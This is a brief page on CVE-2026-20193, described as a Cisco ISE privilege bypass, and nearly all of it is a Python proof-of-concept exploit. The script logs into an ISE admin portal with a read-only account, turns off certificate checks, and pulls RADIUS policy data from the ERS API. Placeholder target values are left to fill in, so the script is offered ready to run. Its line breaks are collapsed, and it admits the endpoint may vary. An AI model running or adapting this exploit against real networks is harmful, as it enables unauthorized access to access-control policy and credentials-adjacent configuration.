CVE-2026-20193 Cisco ISE 权限绕过漏洞

import requests import urllib3 # Suppress SSL warnings for demonstration purposes urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2026_20193(target_ip, username, password): """ PoC for CVE-2026-20193: Cisco ISE RADIUS Policy API Bypass Attempts to access sensitive policy details using a read-only admin account. """ session = requests.Session() # Step 1: Authenticate to the Cisco ISE portal login_url = f"https://{target_ip}:9060/admin/login" login_payload = { "username": username, "password": password } try: print(f"[*] Attempting login to {target_ip} as {username}...") response = session.post(login_url, data=login_payload, verify=False) if response.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Directly call the vulnerable RADIUS Policy API endpoint # Note: The exact endpoint path may vary based on ISE version api_endpoint = f"https://{target_ip}:9060/ers/config/radiuspolicy" headers = { "Accept": "application/json", "Content-Type": "application/json" } print(f"[*] Sending request to vulnerable endpoint: {api_endpoint}") poc_response = session.get(api_endpoint, headers=headers, verify=False) if poc_response.status_code == 200: print("[+] Exploit successful! Sensitive data retrieved:") print(poc_response.text) else: print(f"[-] Request failed. Status code: {poc_response.status_code}") print(poc_response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "192.168.1.100" USERNAME = "readonly_admin" PASSWORD = "password" exploit_cve_2026_20193(TARGET_IP, USERNAME, PASSWORD)